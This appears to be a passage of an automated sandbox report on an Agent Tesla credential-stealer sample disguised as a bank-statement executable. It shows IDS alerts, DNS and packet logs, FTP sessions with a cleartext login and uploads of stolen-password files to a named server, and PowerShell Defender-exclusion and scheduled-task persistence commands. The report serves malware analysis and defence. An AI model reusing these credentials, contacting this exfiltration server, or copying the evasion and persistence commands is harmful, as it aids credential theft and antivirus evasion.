IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x95a20	0x95c00	96440072bf52e2862fc4d348f68d1139	False	0.9741137573038398	data	7.973890761853698	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x98000	0x590	0x600	d69abbbef33a8bb8e75b6d59e33c3529	False	0.4231770833333333	data	4.391626965883615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x9a000	0xc	0x200	7e824d7cfd099b5cefde781cb3c97dc2	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x980a0	0x33c	data			0.4251207729468599
RT_MANIFEST	0x983dc	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators			0.5642201834862385

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/27/24-09:16:46.163921	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49706	62377	192.168.2.5	104.247.165.99
06/27/24-09:16:49.864211	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49708	51041	192.168.2.5	104.247.165.99
06/27/24-09:16:49.864211	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49708	51041	192.168.2.5	104.247.165.99
06/27/24-09:16:46.163921	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49706	62377	192.168.2.5	104.247.165.99
06/27/24-09:16:49.222300	TCP	2029927	ET TROJAN AgentTesla Exfil via FTP	49707	21	192.168.2.5	104.247.165.99
06/27/24-09:16:45.532746	TCP	2029927	ET TROJAN AgentTesla Exfil via FTP	49705	21	192.168.2.5	104.247.165.99

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 27, 2024 09:16:43.551198959 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:43.556152105 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:43.557033062 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:44.167622089 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:44.171499968 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:44.176255941 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:44.387965918 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:44.402182102 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:44.407018900 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:44.655033112 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:44.655534029 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:44.660388947 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:44.875209093 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:44.875372887 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:44.880362988 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:45.092597008 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:45.092858076 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:45.097764015 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:45.309797049 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:45.309916019 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:45.315133095 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:45.526901007 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:45.527528048 CEST	49706	62377	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:45.532598019 CEST	62377	49706	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:45.532685041 CEST	49706	62377	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:45.532746077 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:45.539473057 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:46.162039995 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:46.163921118 CEST	49706	62377	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:46.163921118 CEST	49706	62377	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:46.168899059 CEST	62377	49706	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:46.169488907 CEST	62377	49706	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:46.169578075 CEST	49706	62377	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:46.203802109 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:46.392327070 CEST	21	49705	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:46.500658989 CEST	49705	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:47.079363108 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:47.194102049 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:47.194222927 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:47.823898077 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:47.827640057 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:47.832493067 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.046286106 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.046772003 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:48.051624060 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.300241947 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.300947905 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:48.305933952 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.518785954 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.542098999 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:48.547076941 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.760163069 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.763032913 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:48.767927885 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.981028080 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:48.982683897 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:48.987554073 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:49.200829983 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:49.216226101 CEST	49708	51041	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:49.221257925 CEST	51041	49708	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:49.221358061 CEST	49708	51041	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:49.222300053 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:49.231053114 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:49.863991022 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:49.864211082 CEST	49708	51041	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:49.864278078 CEST	49708	51041	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:49.869143009 CEST	51041	49708	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:49.869420052 CEST	51041	49708	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:49.869468927 CEST	49708	51041	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:50.000675917 CEST	49707	21	192.168.2.5	104.247.165.99
Jun 27, 2024 09:16:50.086592913 CEST	21	49707	104.247.165.99	192.168.2.5
Jun 27, 2024 09:16:50.180342913 CEST	49707	21	192.168.2.5	104.247.165.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 27, 2024 09:16:43.511660099 CEST	59276	53	192.168.2.5	1.1.1.1
Jun 27, 2024 09:16:43.543075085 CEST	53	59276	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 27, 2024 09:16:43.511660099 CEST	192.168.2.5	1.1.1.1	0xf1ad	Standard query (0)	ftp.normagroup.com.tr	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 27, 2024 09:16:43.543075085 CEST	1.1.1.1	192.168.2.5	0xf1ad	No error (0)	ftp.normagroup.com.tr		104.247.165.99	A (IP address)	IN (0x0001)	false

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jun 27, 2024 09:16:44.167622089 CEST	21	49705	104.247.165.99	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 10:16. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Jun 27, 2024 09:16:44.171499968 CEST	49705	21	192.168.2.5	104.247.165.99	USER admins@normagroup.com.tr
Jun 27, 2024 09:16:44.387965918 CEST	21	49705	104.247.165.99	192.168.2.5	331 User admins@normagroup.com.tr OK. Password required
Jun 27, 2024 09:16:44.402182102 CEST	49705	21	192.168.2.5	104.247.165.99	PASS ab+LNvim5PAo
Jun 27, 2024 09:16:44.655033112 CEST	21	49705	104.247.165.99	192.168.2.5	230 OK. Current restricted directory is /
Jun 27, 2024 09:16:44.875209093 CEST	21	49705	104.247.165.99	192.168.2.5	504 Unknown command
Jun 27, 2024 09:16:44.875372887 CEST	49705	21	192.168.2.5	104.247.165.99	PWD
Jun 27, 2024 09:16:45.092597008 CEST	21	49705	104.247.165.99	192.168.2.5	257 "/" is your current location
Jun 27, 2024 09:16:45.092858076 CEST	49705	21	192.168.2.5	104.247.165.99	TYPE I
Jun 27, 2024 09:16:45.309797049 CEST	21	49705	104.247.165.99	192.168.2.5	200 TYPE is now 8-bit binary
Jun 27, 2024 09:16:45.309916019 CEST	49705	21	192.168.2.5	104.247.165.99	PASV
Jun 27, 2024 09:16:45.526901007 CEST	21	49705	104.247.165.99	192.168.2.5	227 Entering Passive Mode (104,247,165,99,243,169)
Jun 27, 2024 09:16:45.532746077 CEST	49705	21	192.168.2.5	104.247.165.99	STOR PW_user-960781_2024_06_27_03_16_42.html
Jun 27, 2024 09:16:46.162039995 CEST	21	49705	104.247.165.99	192.168.2.5	150 Accepted data connection
Jun 27, 2024 09:16:46.392327070 CEST	21	49705	104.247.165.99	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.230 seconds (measured here), 1.36 Kbytes per second
Jun 27, 2024 09:16:47.823898077 CEST	21	49707	104.247.165.99	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:16. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Jun 27, 2024 09:16:47.827640057 CEST	49707	21	192.168.2.5	104.247.165.99	USER admins@normagroup.com.tr
Jun 27, 2024 09:16:48.046286106 CEST	21	49707	104.247.165.99	192.168.2.5	331 User admins@normagroup.com.tr OK. Password required
Jun 27, 2024 09:16:48.046772003 CEST	49707	21	192.168.2.5	104.247.165.99	PASS ab+LNvim5PAo
Jun 27, 2024 09:16:48.300241947 CEST	21	49707	104.247.165.99	192.168.2.5	230 OK. Current restricted directory is /
Jun 27, 2024 09:16:48.518785954 CEST	21	49707	104.247.165.99	192.168.2.5	504 Unknown command
Jun 27, 2024 09:16:48.542098999 CEST	49707	21	192.168.2.5	104.247.165.99	PWD
Jun 27, 2024 09:16:48.760163069 CEST	21	49707	104.247.165.99	192.168.2.5	257 "/" is your current location
Jun 27, 2024 09:16:48.763032913 CEST	49707	21	192.168.2.5	104.247.165.99	TYPE I
Jun 27, 2024 09:16:48.981028080 CEST	21	49707	104.247.165.99	192.168.2.5	200 TYPE is now 8-bit binary
Jun 27, 2024 09:16:48.982683897 CEST	49707	21	192.168.2.5	104.247.165.99	PASV
Jun 27, 2024 09:16:49.200829983 CEST	21	49707	104.247.165.99	192.168.2.5	227 Entering Passive Mode (104,247,165,99,199,97)
Jun 27, 2024 09:16:49.222300053 CEST	49707	21	192.168.2.5	104.247.165.99	STOR PW_user-960781_2024_06_27_03_16_45.html
Jun 27, 2024 09:16:49.863991022 CEST	21	49707	104.247.165.99	192.168.2.5	150 Accepted data connection
Jun 27, 2024 09:16:50.086592913 CEST	21	49707	104.247.165.99	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.222 seconds (measured here), 1.41 Kbytes per second

Target ID:	0
Start time:	03:16:38
Start date:	27/06/2024
Path:	C:\Users\user\Desktop\hesaphareketi-.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hesaphareketi-.exe"
Imagebase:	0x80000
File size:	615'936 bytes
MD5 hash:	D8AA0C3EAED283B8D78298748900F395
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:16:39
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe"
Imagebase:	0x970000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:16:39
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:16:39
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"
Imagebase:	0x970000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:16:39
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:16:40
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp"
Imagebase:	0x730000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:16:40
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:16:41
Start date:	27/06/2024
Path:	C:\Users\user\Desktop\hesaphareketi-.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hesaphareketi-.exe"
Imagebase:	0xcd0000
File size:	615'936 bytes
MD5 hash:	D8AA0C3EAED283B8D78298748900F395
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.4492018819.000000000304E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.4492018819.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.4492018819.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:16:41
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe
Imagebase:	0x280000
File size:	615'936 bytes
MD5 hash:	D8AA0C3EAED283B8D78298748900F395
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:16:43
Start date:	27/06/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:16:44
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp"
Imagebase:	0x730000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:16:44
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:16:45
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"
Imagebase:	0x830000
File size:	615'936 bytes
MD5 hash:	D8AA0C3EAED283B8D78298748900F395
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.4492600143.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4492600143.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.4492600143.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	143
Total number of Limit Nodes:	6

Executed Functions

Function 049B7210 Relevance: 4.7, Strings: 3, Instructions: 958
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR]q, xrefs: 049B7E04
LR]q, xrefs: 049B72A0
\s]q, xrefs: 049B74C0

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$\s]q
API String ID: 0-1846294405
Opcode ID: 33c297fc9e70cc4a08bf777415b21b59af8744c7a7508fdbf56b989b1e9100b7
Instruction ID: cad40d1236ad9a8066846accadf07a81b9890b6cd4d9e16fb02a45200394c2a7
Opcode Fuzzy Hash: 33c297fc9e70cc4a08bf777415b21b59af8744c7a7508fdbf56b989b1e9100b7
Instruction Fuzzy Hash: 6A828E35A102198FCB14CFA9D984AADB7F2FFC9300F15C6A9E059EB355DB34A941CB90

Function 049B71FE Relevance: 2.9, Strings: 2, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR]q, xrefs: 049B72A0
\s]q, xrefs: 049B74C0

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: LR]q$\s]q
API String ID: 0-2162871153
Opcode ID: daef5a14c93e0b380006168b414ece10bd99472483f8da009d8bada7f3bb46d3
Instruction ID: 647b07e7220de593dfa0f952d8e95c5486566fe02cea5a0cf3c8a748d6d4c98f
Opcode Fuzzy Hash: daef5a14c93e0b380006168b414ece10bd99472483f8da009d8bada7f3bb46d3
Instruction Fuzzy Hash: 30D16E35E1121A8FDB14DF69D980AAEB7F2FFC8305F158669D406EB354DB34A902CB90

Function 049B724A Relevance: 2.9, Strings: 2, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR]q, xrefs: 049B72A0
\s]q, xrefs: 049B74C0

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: LR]q$\s]q
API String ID: 0-2162871153
Opcode ID: 711d2d1a3f9dcc741c201759af288ba92d83299b1e267de9e7b4ff0d3caf871e
Instruction ID: 87e38fee0d2cec82400ac56511f4f3e360192bd1bf2c713f2bf97ab3994db994
Opcode Fuzzy Hash: 711d2d1a3f9dcc741c201759af288ba92d83299b1e267de9e7b4ff0d3caf871e
Instruction Fuzzy Hash: B5D16F35A1121A8FDB14DFB9D980AADB7F2FFC8305F158669D406EB354DB34A902CB90

Function 049B6E68 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

\s]q, xrefs: 049B7057

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: \s]q
API String ID: 0-3728726972
Opcode ID: ee51f4d699270e1920cadd3dc58c5c8be11240a865015a48a86d6538e2647335
Instruction ID: c41e6e3af1b5465b0caa275a4e860dd03396bc52ccdfd8f503c1ef74239370ed
Opcode Fuzzy Hash: ee51f4d699270e1920cadd3dc58c5c8be11240a865015a48a86d6538e2647335
Instruction Fuzzy Hash: A5913B78E4020E9FDF14CFA9D585AAEBBF1FF89300F10A665D402EB291DB31A941CB51

Function 049B8330 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c357034fb60946d4e6879c889c05c8f213ac5402358abe0552b99f11ba68e508
Instruction ID: 59b9a7a1faab96e9ffb9c7fb7d06f655a54cd66da1f965ffaa50e68493055c26
Opcode Fuzzy Hash: c357034fb60946d4e6879c889c05c8f213ac5402358abe0552b99f11ba68e508
Instruction Fuzzy Hash: 07819E32F101259FD714EB69D880A9EB7E7AFC8715F1AC079E44ADB365DA30EC018B80

Function 049B83D1 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dd0351e45eb4ff0de8d87676a52f94932ffed7878126d1d3d5b23aae88540c5
Instruction ID: 11d69b082a5d09dd984f48ae39dc4e7a55e6be46a730f63ecc014883a94f558d
Opcode Fuzzy Hash: 1dd0351e45eb4ff0de8d87676a52f94932ffed7878126d1d3d5b23aae88540c5
Instruction Fuzzy Hash: 23615E32F105259FD714EB69C880A9EB3E7AFC8714F1AC179E4499B365DE70EC028B91

